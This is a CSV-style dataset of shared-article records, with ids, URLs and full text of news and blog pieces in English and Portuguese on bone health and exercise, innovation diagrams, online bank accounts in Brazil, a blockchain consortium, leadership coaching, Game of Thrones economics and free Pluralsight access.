1461608400,CONTENT SHARED,2075656428057535795,-1032019229384696495,-7443478780140249581,,,,HTML,http://theconversation.com/what-exercise-does-to-your-bones-57524,What exercise does to your bones,"The force on a triple jumper's bones is 15 times their body weight. www.shutterstock.com When we think of bones, a lifeless skeleton usually comes to mind, but our bones are a living organ that grows and changes shape throughout our life. Much of this shaping results from forces which press, pull and twist the skeleton as we move, and the biggest of these forces is caused by our muscles. Bones experience huge forces during movement. When a triple jumper's heel hits the ground, the force is around 15 times their body weight - or the weight of a small car . In fact, because muscles normally attach close to joints, muscular forces are even greater than these impact forces (in the same way that you have to push harder to lift someone on a see-saw the closer you get to the middle). As a result bones also experience huge impact and muscle force during daily tasks, totalling more than five times body weight even during walking . These forces squash, twist and bend bones. The shin bone briefly becomes nearly a millimetre shorter as your foot hits the ground when running. The bone senses these small changes, and can grow dramatically - in the months after starting exercise - in order to reduce the risk of breaking. For example, the racket arm bones of tennis players can be 20% wider and contain 40% more bone mineral than their other arm, while sprint runners have up to a third more bone in their shin bone than people who don't exercise. But not all exercise gives us big, strong bones. We seem to need high impacts (hitting the floor from a jump, or striking a tennis ball) to produce big enough muscle and impact forces to make our bones change. As a result, not all exercise appears to be beneficial for bone. Swimmers and cyclists may have healthy hearts, lungs and muscles but their bones are not much different from people who do not exercise. Bone's response to these forces varies along its length. Near the joints, bones get bigger and more dense, whereas bone shafts tend to get bigger and thicker with little change in bone density. Bones also change in shape. The shin bone shaft starts as a circular tube, but gets wider from front to back as we grow and start to move until it forms a tear-drop shape. But if we start to load our bones less, they waste away and these effects are no less dramatic. Astronauts lose up to 1% of their leg bone mass per month when in in space , while people who suffer a spinal cord injury lose up to half of their shin bone mass . Stronger bones for life This shaping of bones by forces appears to occur throughout life. Even at 15 months old, children who started to walk early have up to 40% more bone in their shin than children who have yet to start walking; effects that last until at least their late teens . Bone seems to be most sensitive to loading while we're still growing. Once we reach our final height, bone appears less able to increase its width, particularly near the joints . While some of the benefits gradually disappear once you stop exercising, exercised bones remain wider even several decades after exercise stops. This suggests that exercise in childhood may give us bigger, stronger bones for life. This is important as bigger, stronger bones are less likely to break as we get older. Certainly, exercise trials can be very effective in making children's bones stronger , and also in reducing bone loss from bed rest or even partly reversing bone loss in spinal cord injury . www.shutterstock.com However, effects of exercise on bone in elderly people have so far been much smaller. This is a big problem as we break our bones more often as we get older. The lack of large improvements in bone quality as a result of exercise in older people might be because we can't produce as much force as we get older, or that bones are less sensitive to the forces we do produce . Alternatively, it could be that changes in our muscles and bones mean that the amount of squashing, bending and twisting our bones experiences during movement also changes. New techniques allow us to look at these patterns for the first time , which should allow us to plan more effective exercises in people of all ages. Forces acting on our bones during everyday movements and exercise have a strong influence on the size, shape and strength of our bones. If we move less this can make our bones weak and more likely to break, but being active and doing exercise such as running, football or tennis can help make our bones much stronger. At the moment, exercise trials seem most effective in children and in stopping or slowing bone loss in disuse. However, ongoing work is giving us a much clearer picture of how forces contort our bones during different movements. This will allow us to design more effective exercises for bone in different groups, finally allowing us to translate the dramatic effects of exercise on bone seen in athletes into benefits for the wider population.",en
1461611053,CONTENT SHARED,-6810702648836067504,-3390049372067052505,6068971232842203123,,,,HTML,http://boletim.de/silvio/diagramas-para-entender-criar-inovar-e-empreender-3/,"diagramas para entender, criar, inovar e empreender: 3","quando esta série sobre diagramas para criar, inovar e empreender começou, o plano era ter um livro sobre o tema pronto aqui em maio. do jeito que está indo, levada por um susto aqui, um sobressalto ali, o novo maio fica pelo menos no ano que vem. e olhe lá. mas não há tanta pressa assim, e a gente vai aprendendo mais coisas no caminho. e o caminho, não o destino, é o que importa mesmo. no texto anterior , discutimos uns diagramas que classificam inovação de acordo com dimensões de uso e tecnologias , existentes ou não, em cada caso, e isso parecia nos dar um norte para classificar tipos de inovação além do conhecido binário evolucionária / revolucionária . o diagrama de norman e verganti, mostrado ao lado, implica em quatro tipos de inovação: a que vem do mercado, a que é criada por uma mudança radical na tecnologia mas incremental no uso, outra que resulta de mudança radical no uso mas na mudança incremental na tecnologia e, por fim, uma que vem da mudança radical tanto nos fundamentos tecnológicos como nos usos que eles implicam. o kindle está no quadrante . pense porque este é o caso e tente situar os objetos e serviços que você usa, hoje, nos quatro quadrantes. pode ser um exercício interessante para entender o grau de inovação das coisas ao seu redor. se você refletir um pouco sobre o universo de mudança de cenários nos negócios, mercado ou sociedade, vai achar muito estranho que se tente classificar inovação at large em apenas quatro quadrantes . é mesmo, ainda que o diagrama acima seja contínuo e não discreto, que estar num quadrante queira dizer pouco certas horas, porque há muitos market pulls que parecem muito com tech pushes e anos de debate não vão separar os dois , até porque uma forma [linear, muito limitada, mas útil em certos contextos] de desenhar os caminhos pelos quais os dois evoluem levam a uma discussão do tipo ovo/galinha . às vezes, você tem certeza, a posteriori , que houve um market pull ... quando o que mais provavelmente aconteceu foi um tech push . e vice versa. note que o primeiro diagrama deste texto não é tecnologia + mercados , mas tecnologias + significados . só com estes eixos, fica muito difícil explicar inovações como ""o iPod"" sem um monte de diagramas adicionais. até porque coisas [muitas] como o iPod já existiam antes dele... e a inovação do iPod tinha muito pouco a ver com o dispositivo físico em si, mas com a verticalização de uma cadeia de valor, fechada, para consumo de mídia, que decolou com iTunes Store, o serviço e não com iPod, o dispositivo. mas o problema de classificar inovação não é trivial e muita gente boa já tentou, sem chegar a algo universal e aceito por todos, desde que joseph schumpeter começou a escrever sobre o assunto há mais de 100 anos. mas eu gosto de um método de classificação particular, em conjunto com a forma de representar a classificação, os diagramas de radar , uma forma de visualizar comparações entre dados multivariados em duas dimensões. logo abaixo, uma comparação entre brasil e chile , do global innovation index, usando 8 variáveis do estudo de 2014, onde o brasil foi classificado 61o e o chile em 46o. lugar. olhando o radar abaixo, você vê que o brasil fica na frente em educação , P&D e conexões para inovação ... e perde, às vezes por muito, nas outras 5 facetas. a argentina, caso você queira saber, ficou em 70o. e a venezuela em 122o. lugar. o 1o. lugar é da suíça [claro]? para cada uma das variáveis consideradas, em uma escala que vai de 0 a x , para x = 80+ no diagrama acima, você também poderia considerar níveis, se a medida fosse qualitativa, indo, por exemplo, de até [passando por , regular e bom ] como é feito quando se avalia a percepção que temos dos governos, por exemplo. pense num diagrama de radar [ou diagrama de aranha , fora da matemática e mapeamento de conceitos ] como o mostrado ao lado, para ""medir"" a qualidade de decisões [quão boas são as suas?...] e imagine que vamos usá-lo para classificar inovação e tornar mais profundo o debate sobre o que é inovação e, talvez, esclarecer porque inovação acontece ou não, e em que contextos. foi aí que o ARI [ accelerated radical innovation ], um grupo da university of TOLEDO chegou, tentando modelar os processos de inovação nas organizações e, em particular, tentando classificar inovação. antes, pra gente não ficar com uma ideia de que é um conjunto de diagramas bem simples que vai resolver a nossa vida, vamos ver as duas imagens, bem enroladas, que representam a ideia de accelerated radical innovation do de toledo . mesmo levando em conta que o slide abaixo [imagem do artigo Accelerated radical innovation: Theory and application , de Bers et al., neste link ] tem uns dez anos, não estamos falando de nada muito simples. a ideia é que accelerated innovation é inovar [ mais mercado, mais notas fiscais], rápido e mais barato. olhe as duas curvas e você vai ver o que eles [e o diagrama] querem dizer. representar dinâmicas em diagramas estáticos é uma parada dura. a figura acima até que não é tão má e você pode imaginar uma animação, numa apresentação, lhe dando sentido. mas o desenho abaixo... nem pense; este é daqueles slides que deveriam ser proibidos numa apresentação. e olhe que é parte de um artigo científico!... a galera que fez este slide se recupera, em outro texto que lhe faz referência [ Classifying Innovation , de Miller & Miller, neste link ], com o desenho de um diagrama de radar para classificar inovação em quatro dimensões que fazem sentido prático, que é o que interessa de fato. imagine quatro dimensões de inovação, com quatro níveis por dimensão. primeiro, vamos os : , onde não há qualquer melhoria ou pode até ser que as coisas, do ponto de vista de inovação, estejam piorando, com a fossilização de práticas, produtos e processos; conservador , no qual há melhorias, capazes de mudanças do patamar de performance numa dimensão; moderado , quando há grandes melhorias e suas consequências e , quando novas técnicas, métodos, processos, plataformas ou produtos e serviços levam a mudanças muito significativas numa dimensão. as dimensões do diagrama são quase as mesmas do passo número 3 da figura anterior: tecnologia , negócio , comercialização e mercado . vale a pena notar que, no artigo, eles dizem que são as mesmas; mas, se fossem, seriam [ciência e] tecnologia , negócio [e organização], agregado e rede e mercado [e sociedade]. não é difícil entender porque se incluiu [eu acho] cluster and network em market and societal e se explicitou sales; afinal de contas, na maior parte dos casos, as tentativas de inovação sofrem muito mais por causa de problemas na comercialização do que nas tecnologias ou em qualquer outra faceta do processo inovador. Há até quem diga que um inovador é 90% e 10% entrega . Mas vamos deixar isso pra lá, por enquanto, e olhar o diagrama de radar do para classificar inovação, a figura abaixo. eu gosto da ideia do diagrama de radar; ele é capaz de explicitar um número de aspectos de processos onde há múltiplas dimensões de performance e análise. gosto das dimensões escolhidas para o diagrama acima; é claro que pode haver muitas outras escolhas -faça as suas, levando em conta seu negócio. mas, quando considero as dimensões, seus nomes e a escala escolhida, além dos exemplos, me dá vontade de mudar algumas coisas, e não só por mudar. até porque, como você pode ver abaixo, é possível representar um bom número de atos inovadores [e seus resultados, usando o diagrama acima. reflita sobre as imagens abaixo, antes de continuar a leitura do texto. eu acho que o nome dos níveis [status quo, conservador, moderado, avançado] não diz tudo o que poderia. e não gosto dos exemplos dados, de algo ser novo para o produto , companhia ou mundo . apesar destes nomes estarem historicamente associados a medidas de inovação, imaginar que um grande número de mudanças vai acontecer local ou regionalmente, e nunca irá se espalhar mundo afora, mesmo que seja new to the world . em muitos casos, pouco importa se algo -tecnologia, produto, serviço, mercado- é novo no mundo ou não, o que importa é o quanto o contexto -seja qual for- foi mudado por tal inovação. ao medirmos o grau de mudança de uma particular inovação, cada uma das dimensões deve ser considerada isoladamente e o todo, por sua vez, é resultado da conjunção das mudanças em cada dimensão. um diagrama de radar para inovação teria que representar, nos níveis, desde até . e isso é muito difícil de numa escala linear. não fica claro, no artigo de miller & miller, qual escala usada ou mesmo se alguma escala é usada. aí é onde proponho o uso de uma escala logarítmica de base 10 para medir intensidade de inovação, como se usa a escala RICHTER para medir intensidade de terremotos. não com tantos níveis quanto na richter; dá pra ficar perto da proposta do ARI . aí, dá para descrever a intensidade de inovação [ à la richter ] como... entre os níveis : não dá para sentir nenhuma mudança; mesmo que algo tenha mudado, a percepção é de que nada mudou ; entre , algumas coisas mudaram: é perceptível, dentro e fora de uma dimensão de inovação que está em consideração, de que houve mudanças, mas poucas, talvez muito poucas; entre 2-3 , para qualquer das dimensões de inovação, é certo que várias coisas mudaram; a ideia, aqui, é que a intensidade de mudança neste nível é 10 vezes maior do que no nível anterior e 10 vezes menor do que no seguinte, 3-4 ; neste, muitas coisas mudaram, uma ordem de magnitude mais do que no anterior. por fim, nível 4-5 : aqui é onde quase tudo , senão , muda e é percebido como tal. como estamos medindo numa escala logarítmica, base 10, a magnitude [o nada mudou ] não é 5 pontos menos intensa do que a magnitude 5, mas 100.000 vezes [10^5] mais fraca do que ela. é aí que temos a real dimensão da diferença, em termos de inovação, entre diminuir o tamanho das válvulas [que eram usadas nos primeiros computadores digitais] para usar transistores. ou sair de transistores para chips. ou sair de fitas de rolo para cassette versus sair de cassette para memória flash para armazenar áudio e vídeo nos players [que deixaram de ser analógicos e se tornaram digitais nesta mudança]. nem que seja incidentalmente, a discussão anterior reestabelece uma ordenação semântica que o jornalismo brasileiro perdeu nos últimos anos: várias é menos , às vezes muito menos, do que muitas . e é. sempre. anote isso. e daí? daí que nosso diagrama de radar em escala logarítmica de base 10 para medir intensidade de inovação é mostrado na imagem abaixo. note que substituímos comercialização por marketing e vendas ; e que mudar as duas não é a mesma coisa que mudar o mercado. nunca se esqueça que pode haver muita ciência por trás de uma tecnologia radicalmente inovadora... mas que uma inovação de ruptura pode acontecer sem nenhuma nova tecnologia por trás, muito menos qualquer ciência nova. o iPad que o diga, por sinal... taí. se tudo correr bem, qualquer hora destas, neste mesmo canal, vai rolar mais um texto desta série. tomara. pra mim, inclusive. pois que isso terá sido uma consequência direta do autor ter descoberto uma forma mágica de criar tempo. no meu caso... terá sido uma inovação estrutural!... até lá. sobre o autor: Silvio Meira",pt
1461613748,CONTENT SHARED,-1473180765724334454,-48161796606086482,-548314898749983176,,,,HTML,https://tecnoblog.net/194774/abrir-conta-corrente-internet-resolucao/,Você poderá abrir ou fechar uma conta corrente pela internet | Tecnoblog,"Não será mais necessário comparecer a uma agência bancária para abrir ou fechar uma conta corrente. As burocracias para confirmar a identidade do cliente, como fotocópias de documentos e verificações de assinatura, poderão ser resolvidas pela internet, de acordo com autorização dada pelo Banco Central nesta segunda-feira (25). Até então, os futuros clientes conseguiam iniciar o processo de abertura pela internet, normalmente preenchendo um formulário com dados pessoais e informações de renda, mas era necessário ir pessoalmente a uma agência ou assinar documentos em papel para concluir a operação. A decisão do Conselho Monetário Nacional (CMN) autoriza os bancos a cuidarem de todo o processo por meios eletrônicos. Segundo o , o Banco Central acredita que a abertura remota de contas poderá, inclusive, dificultar as fraudes, já que os meios eletrônicos oferecem mecanismos adicionais de verificação: pense, por exemplo, na utilização do GPS do smartphone para analisar a localização do cliente e tecnologias de reconhecimento facial e de voz como instrumentos de confirmação de identidade. A medida não é obrigatória, ou seja, cada banco pode ou não permitir a abertura e fechamento de conta corrente pela internet, desde que possua mecanismos de verificação adequados para confirmar a identidade do cliente e prevenir fraudes. Na prática, a decisão regulamenta e abre espaço para instituições como o Banco Intermedium e o Banco Original, que estão dispensando agências físicas e investindo em aplicativos para movimentação de conta e atendimento ao cliente. Em março, o Banco Central decidiu que documentos digitalizados, para fins de operações no sistema bancário, têm o mesmo valor legal do documento de origem. No caso de contas abertas pela internet, os bancos devem obrigatoriamente assegurar a possibilidade de encerrar o relacionamento por meio eletrônico. Além disso, as mesmas disposições para contas abertas de maneira presencial se aplicarão às contas digitais, incluindo as atualizações de situação cadastral, regulamentações de tarifas estabelecidas pelo Banco Central e prevenção de lavagem de dinheiro.",pt
1461619724,CONTENT SHARED,7933360486658437274,-2626634673110551643,-5804099311266469071,,,,HTML,http://www.coindesk.com/brazils-bank-itau-blockchain-consortium-r3/,Brazil's Bank Itaú Joins R3 Blockchain Consortium - CoinDesk,"São Paulo-based Itaú Unibanco has become the first Latin America-based bank to join blockchain and distributed ledger consortium R3CEV. Launching last September with nine global banking partners, Itaú is the 45th global bank to join the R3 consortium, following South Korea's Hana Financial and Japan's SBI Holdings . Itaú saw R$21.9 billion ($6.1bn) in profits in 2014 as well as R$360 billion ($101bn) in assets under management, according to its latest annual report . In statements, Itaú general director for technology and operations Márcio Schettini said that Itaú joined to contribute to what he called the ""international drive"" toward building distributed ledger solutions for enterprise finance. Schettini said: ""We are convinced that these innovations will bring benefits to our customers and real gains in efficiency for the sector as a whole."" Notably, Itaú is not the only bank in R3 to offer services to Latin America. Group Santander and BBVA, for instance, serve Argentina, Brazil and Mexico, through franchise or subsidiary efforts, while HSBC had more than 60 branches in Latin America as of 2012. However, the addition comes amid a broader push by R3 to expand its membership beyond traditional banks, and as more regional banks join the growing global effort.",en
1461620499,CONTENT SHARED,8586403905004879205,6013226412048763966,-2657475163512388247,,,,HTML,http://www.cio.com/article/3047154/leadership-management/how-to-augment-your-career-with-leadership-coaching.html,How to augment your career with leadership coaching,"Burnout . Pipeline problems . Harassment . The laundry list of issues for women's leadership in tech is long and the list of solutions seems much shorter. One of the popular pieces of advice for women in tech looking to advance their careers is to find a mentor. Sheryl Sandberg, in her book Lean In , talks about her mentors who encouraged her, challenged her, and advocated for her throughout her career. ARA Mentors , founded by IT recruitment specialist Megan McCann in 2013, has the admirable goal of connecting women in technology to one another through events and one-on-one mentoring sessions. Mentoring is one way to build and maintain community, as well as for women in tech leadership to receive meaningful advice as they advance their careers. However, finding the right fit in a mentor - someone who has the right time, experience, and willingness can be a challenge, even with great programs like ARA in the mix. [ Related: Top 10 U.S. cities for women in technology ] To overcome obstacles for women in tech, women can augment their professional lives and mentoring relationships with one of the most powerful tools for clarifying ambitions and reaching goals: executive coaching. Normally, the context of coaching is organizational; an organization hires a coach for either and at-risk or high-potential employee for development. However, executive coaching may be sought by an individual to increase her leadership skills and gain valuable tools to reach her professional ambitions, and research is starting to show that coaching is highly effective . For more details about executive coaching and its potential impact on women in tech, I interviewed Kelly Ross, who runs a niche coaching and consulting firm, Ross Associates , that focuses on leadership development and talent management. In addition to her professional work, Ross is a certified Hudson Institute Coach , holds an International Coach Federation Professional Certified Coach credential, and teaches at Northwestern University in their graduate coaching program . Corpolongo : Why would a woman in tech want to hire an executive coach? Ross : Hire a coach if you are in a new, bigger role and trying to figure out how you want to show up as a leader; if you are leading a team or organization going through change, especially if you personally find the change a challenge but have to lead others through that same change; if you have received feedback about something that could be professionally limiting and need help sorting out how to take action and change your behavior. Those leaders who are not executives yet, and know they need to build presence and own their stories to make the leap to senior leadership, will find a coach helpful. Corpolongo : Why does executive coaching work? What is your coaching philosophy? Ross : Coaching is about the client and the coach partnering to help the client make the change they desire. The client brings the agenda, [and] the coach manages the process through great questions. That sounds very simple but in my experience great coaching is magical, it helps the client discover answers, make a change that sticks, and understand what has been getting in their way. The client has to want to invest time, energy and money into coaching, it is not going to have an impact if the client isn't clear about what they want to get from the coaching or is not willing to do the work. Many times the breakthrough happens between sessions when something the client and coach discussed ""clicks"" for the client. I customize coaching for each client - some need more process than others. I'll ask you how you want to receive feedback - ""tough love"" or more gently. Many leaders are lonely and appreciate coaching for the thought partnership and the safe space to not have to know every answer immediately. Many of us are our own biggest obstacle and coaching can help you articulate your ""lines in the sand"" and sticking to the boundaries you establish. Coaching is not therapy, which often looks back into the past; coaching is present and future focused. Coaching focuses on understanding patterns and taking action while therapy is about an analysis of the past. Coaching is solution focused. Corpolongo : What do you think are any special considerations for women in technology in their leadership development? Ross : As women, working in technology or elsewhere, we are often hard on ourselves. We don't always invest in ourselves as we might for others. Coaching is personal, it is focused on you being the best version of yourself, and it is one of the best investments in yourself I know of. My own coach is really important to my success as she challenges me, and she supports me. For example, one of my clients, a sales leader at a leading technology organization, wanted to be promoted to senior leadership and needed to increase her presence and own her story. We worked together for a year, meeting every two to three weeks, to articulate her values, build and tell her story, and increase her presence and influence. Alternately, one of my clients is a leader in a tech organization working in product marketing. She used coaching to support her leaving her organization and launching her own business. Initially, we worked together every other week for six months as she envisioned the business she would launch, the skills she had or needed to build, and her plan for making the change from employee to business owner. We are in the midst of our second engagement focusing on the legacy and leadership she wants to leave in her current organization and the ideal life she will create when she launches her business. This article is published as part of the IDG Contributor Network. Want to Join?",en
1461628883,CONTENT SHARED,4668172927098913296,5660542693104786364,-3832693140022990444,,,,HTML,https://www.1843magazine.com/culture/the-daily/game-of-loans,Game of Loans,"As Queen-Mother Cersei undertook her walk of shame through the streets of the capital at the end of the last season of ""Game of Thrones"", she was surely plotting vengeance on those responsible for her humiliation. But she was probably also wondering exactly how she found herself in such an unfortunate situation. One reason unlikely to occur to the embattled queen is her financial naivety - namely, her failure to grasp the catastrophic nature of her fiscal policy for the Seven Kingdoms. In a 2014 interview with Rolling Stone magazine, George R. R. Martin, the author of ""A Song of Ice and Fire"" (the series on which the HBO show is based), complained that fantasy authors often fail to engage with economics. ""As much as I admire Tolkien, I do quibble with him... What was Aragorn's tax policy?"" Martin - unlike Cersei - has thought deeply about the economic systems underpinning his imagined world, so it's worth taking a closer look at how they function. For Cersei's predicament, it turns out, largely derives from her failure to understand the nature of international credit. Across the sea from the capital King's Landing, in the Free City of Braavos, is the Iron Bank of Braavos, the dominant financial institution on the continents of Essos and Westeros. Martin modelled the Iron Bank on medieval banks controlled by powerful families from the cities of northern Italy. They provided credit, deposit, loan and foreign exchange services all across western Europe. Bankers from Florence and Lucca worked with the English crown under Kings Edward I, II and III, financing the kingdom's wars on various fronts (especially France) and offering both current account and overdraft facilities. Edwards II and III even agreed to turn over all their revenue to two particular banking houses; they paid the kings' budgets and, in return, were allowed to exercise a monopoly over the country's most important export, high-quality English wool. The saying, ""The Iron Bank of Braavos always gets its due"", is on the lips of every politician in Westeros and Essos - except Cersei. She decided to default on the crown's enormous debt to the bank in order to concentrate on rebuilding her navy, which had been destroyed in battle. Hoping to secure the resumption of repayments, the Iron Bank now supports a rival to the throne, Stannis Baratheon; whoever rules the Seven Kingdoms is responsible for the Iron Throne's debts. Meanwhile, the other Free City banks, taking their cue from the Iron Bank, are refusing Westerosi merchants credit. International trade has ground to a standstill. It helps that Cersei's father has died; Tywin, the formidable patriarch of the Lannister clan, won't be calling in the sums he loaned her. Not that Cersei can resort to the family coffers for much longer. The Lannisters' gold mines have been exhausted, and the family motto, ""A Lannister always pays his debts"", is rapidly losing currency. More directly implicated in Cersei's downfall is the Faith, the Seven Kingdoms' main religion, which is loosely modelled on medieval Christianity. The crown had borrowed heavily from the Faith to finance - among other luxuries - the 77-course wedding feast of Cersei's son, Joffrey. Later, in talks with the new religious leader, the fundamentalist High Sparrow, Cersei would carelessly concede the right of a new, highly zealous branch of the Faith to bear arms, as long as the crown's debts were forgiven. This is how the Faith Militant, an armed brotherhood, emerged. A cross between the religious police and the inquisition, their rule of terror tips the balance of power in their favour. That, in a nutshell, is why Cersei finds herself walking naked through the streets of King's Landing, taunted and tormented by her disloyal subjects. Meanwhile, over in Slaver's Bay in Essos, the Dragon Queen Daenerys Targaryen is busy abolishing slavery in every city she conquers. It's a controversial policy, to say the least. ""This arrogant child has taken it upon herself to smash the slave trade, but that traffic was never confined to Slaver's Bay. It was part of the sea of trade that spanned the world, and the Dragon Queen has clouded the water,"" observes Qavo, a customs officer in the Free City of Volantis. Since Volantis has five people in chains for every person who's not, Daenerys's ideological challenge to slavery is deeply disquieting - at least, to freeborns like Qavo. A coalition of Essos-based mercenaries, hired with the aim of resurrecting the trade in human beings that underpins the continent's economy, is on the march against Daenerys's city of Meereen. Interfering with globalised capitalist forces is a dangerous business. Will Daenery's generals manage to hold the line against her enemies? Will the Iron Bank gamble on yet another new claimant to the Iron Throne? Can Cersei's underwhelming Small Council contain the mounting crisis in King's Landing? Not only has the loss of international credit bankrupted the capital's merchants, the Faith's imprisonment of two leading members of the Tyrell family has jeopardised agricultural imports from their lands. Plus, the ravaging of the Riverlands has destroyed the city's usual source of food. Now that, undoubtedly, winter is coming, the common folk of King's Landing will not take kindly to starvation. As season six begins, revolution is in the air. The rulers of the Seven Kingdoms would do well to get some better economic advice. Game of Thrones HBO Season six begins April 24th",en
1461628890,CONTENT SHARED,-4130193294870737688,5660542693104786364,-3832693140022990444,,,,HTML,https://www.1843magazine.com/culture/the-daily/game-of-loans,Game of Loans,"As Queen-Mother Cersei undertook her walk of shame through the streets of the capital at the end of the last season of ""Game of Thrones"", she was surely plotting vengeance on those responsible for her humiliation. But she was probably also wondering exactly how she found herself in such an unfortunate situation. One reason unlikely to occur to the embattled queen is her financial naivety - namely, her failure to grasp the catastrophic nature of her fiscal policy for the Seven Kingdoms. In a 2014 interview with Rolling Stone magazine, George R. R. Martin, the author of ""A Song of Ice and Fire"" (the series on which the HBO show is based), complained that fantasy authors often fail to engage with economics. ""As much as I admire Tolkien, I do quibble with him... What was Aragorn's tax policy?"" Martin - unlike Cersei - has thought deeply about the economic systems underpinning his imagined world, so it's worth taking a closer look at how they function. For Cersei's predicament, it turns out, largely derives from her failure to understand the nature of international credit. Across the sea from the capital King's Landing, in the Free City of Braavos, is the Iron Bank of Braavos, the dominant financial institution on the continents of Essos and Westeros. Martin modelled the Iron Bank on medieval banks controlled by powerful families from the cities of northern Italy. They provided credit, deposit, loan and foreign exchange services all across western Europe. Bankers from Florence and Lucca worked with the English crown under Kings Edward I, II and III, financing the kingdom's wars on various fronts (especially France) and offering both current account and overdraft facilities. Edwards II and III even agreed to turn over all their revenue to two particular banking houses; they paid the kings' budgets and, in return, were allowed to exercise a monopoly over the country's most important export, high-quality English wool. The saying, ""The Iron Bank of Braavos always gets its due"", is on the lips of every politician in Westeros and Essos - except Cersei. She decided to default on the crown's enormous debt to the bank in order to concentrate on rebuilding her navy, which had been destroyed in battle. Hoping to secure the resumption of repayments, the Iron Bank now supports a rival to the throne, Stannis Baratheon; whoever rules the Seven Kingdoms is responsible for the Iron Throne's debts. Meanwhile, the other Free City banks, taking their cue from the Iron Bank, are refusing Westerosi merchants credit. International trade has ground to a standstill. It helps that Cersei's father has died; Tywin, the formidable patriarch of the Lannister clan, won't be calling in the sums he loaned her. Not that Cersei can resort to the family coffers for much longer. The Lannisters' gold mines have been exhausted, and the family motto, ""A Lannister always pays his debts"", is rapidly losing currency. More directly implicated in Cersei's downfall is the Faith, the Seven Kingdoms' main religion, which is loosely modelled on medieval Christianity. The crown had borrowed heavily from the Faith to finance - among other luxuries - the 77-course wedding feast of Cersei's son, Joffrey. Later, in talks with the new religious leader, the fundamentalist High Sparrow, Cersei would carelessly concede the right of a new, highly zealous branch of the Faith to bear arms, as long as the crown's debts were forgiven. This is how the Faith Militant, an armed brotherhood, emerged. A cross between the religious police and the inquisition, their rule of terror tips the balance of power in their favour. That, in a nutshell, is why Cersei finds herself walking naked through the streets of King's Landing, taunted and tormented by her disloyal subjects. Meanwhile, over in Slaver's Bay in Essos, the Dragon Queen Daenerys Targaryen is busy abolishing slavery in every city she conquers. It's a controversial policy, to say the least. ""This arrogant child has taken it upon herself to smash the slave trade, but that traffic was never confined to Slaver's Bay. It was part of the sea of trade that spanned the world, and the Dragon Queen has clouded the water,"" observes Qavo, a customs officer in the Free City of Volantis. Since Volantis has five people in chains for every person who's not, Daenerys's ideological challenge to slavery is deeply disquieting - at least, to freeborns like Qavo. A coalition of Essos-based mercenaries, hired with the aim of resurrecting the trade in human beings that underpins the continent's economy, is on the march against Daenerys's city of Meereen. Interfering with globalised capitalist forces is a dangerous business. Will Daenery's generals manage to hold the line against her enemies? Will the Iron Bank gamble on yet another new claimant to the Iron Throne? Can Cersei's underwhelming Small Council contain the mounting crisis in King's Landing? Not only has the loss of international credit bankrupted the capital's merchants, the Faith's imprisonment of two leading members of the Tyrell family has jeopardised agricultural imports from their lands. Plus, the ravaging of the Riverlands has destroyed the city's usual source of food. Now that, undoubtedly, winter is coming, the common folk of King's Landing will not take kindly to starvation. As season six begins, revolution is in the air. The rulers of the Seven Kingdoms would do well to get some better economic advice. Game of Thrones HBO Season six begins April 24th",en
1461629452,CONTENT SHARED,-6843047699859121724,7527226129639571966,-1297230017812472163,,,,HTML,https://medium.com/@jeffersoncn/ganhe-6-meses-de-acesso-ao-pluralsight-maior-plataforma-de-treinamento-online-dd2b1c9a22b9,"Ganhe 6 meses de acesso ao Pluralsight, maior plataforma de treinamento online","Ganhe 6 meses de acesso ao Pluralsight, maior plataforma de treinamento online Muitos não sabem, mas o Pluralsight é uma das melhores, senão a melhor, plataforma de treinamentos online. Com quase 5000 cursos nas áreas de desenvolvimento, infraestrutura, dados, entre outras e que são ministrados por mais de 800 especialistas, é fácil reconhecer o valor de se ter acesso a uma biblioteca tão rica de conhecimento como esta. Abaixo temos exemplos de alguns cursos dentre a lista dos mais populares da plataforma: Building a Web App with ASP.NET Core RC1, MVC 6, EF7 & AngularJS Angular 2: Getting Started ASP.NET Core 1.0 Fundamentals C# Fundamentals with Visual Studio 2015 Building Applications with ASP.NET MVC 4 JavaScript Best Practices ASP.NET MVC 5 Fundamentals TypeScript Fundamentals Docker for Web Developers Applying Functional Principles in C# ASP.NET in Multi-tenant App, Examples in MVC, ExtJS, and Angular Python Fundamentals Java Fundamentals: The Java Language Rapid JavaScript Training C# Best Practices: Improving on the Basics Design Patterns Library Getting Started with Entity Framework 6 Rebuilding Web Forms Applications in MVC Advanced JavaScript Building Your First Xamarin.Android App from Start to Store Building Web Applications with Node.js and Express 4.0 WCF End-to-End WPF and MVVM: Test Driven Development of ViewModels Se interessou por algum deles? E que tal ganhar uma assinatura gratuita de 6 meses com acesso completo à toda essa coleção de cursos do Pluralsight e começar agora a aprender aquelas habilidades que você vem buscado desenvolver? A Microsoft em parceria com o Pluralsight nos oferecem essa oportunidade! Quer saber como? Então vamos lá! Primeiramente precisamos nos inscrever no programa Visual Studio Dev Essentials utilizando uma conta Microsoft ( hotmail , live ou outlook ). O cadastro é simples e gratuito e você pode fazê-lo nesse link : 2. Agora que já temos acesso ao Visual Studio Dev Essentials , podemos então clicar em "" Get Code "" que fica próximo ao logo do Pluralsight . 3. Ao clicar em "" Get Code "" aparecerá em seu lugar "" Activate "", que ao ser clicado, vai nos redirecionar para a página de cadastro do Pluralsight . 4. No formulário de cadastro, o campo do código já estará preenchido, bastando entrar com as informações restantes antes de clicar em "" Activate Benefit "". 5. Pronto! Você pode agora aproveitar os seus 6 meses de estudos no Pluralsight gratuitamente. Dica extra pra quem tem condição de aluno verificada no Dreamspark Também é possível obter uma assinatura de 3 meses gratuitamente no Pluralsight através do Dreamspark . No catálogo de software do Dreamspark , ao rolar a página até o final e chegar na sessão "" Treinamento e Certificação "", clique no logo do Pluralsight ou acesse esse link . Selecione o idioma: English e clique em "" Obter chave "". No final da página há um link para o resgate do código que irá redirecionar para o cadastro no Pluralsight . Preencha os dados, ative o benefício e pronto! Agora você tem um acesso de 3 meses a todos os cursos do Pluralsight ! Espero que aproveitem bem os estudos! Até a próxima!",pt
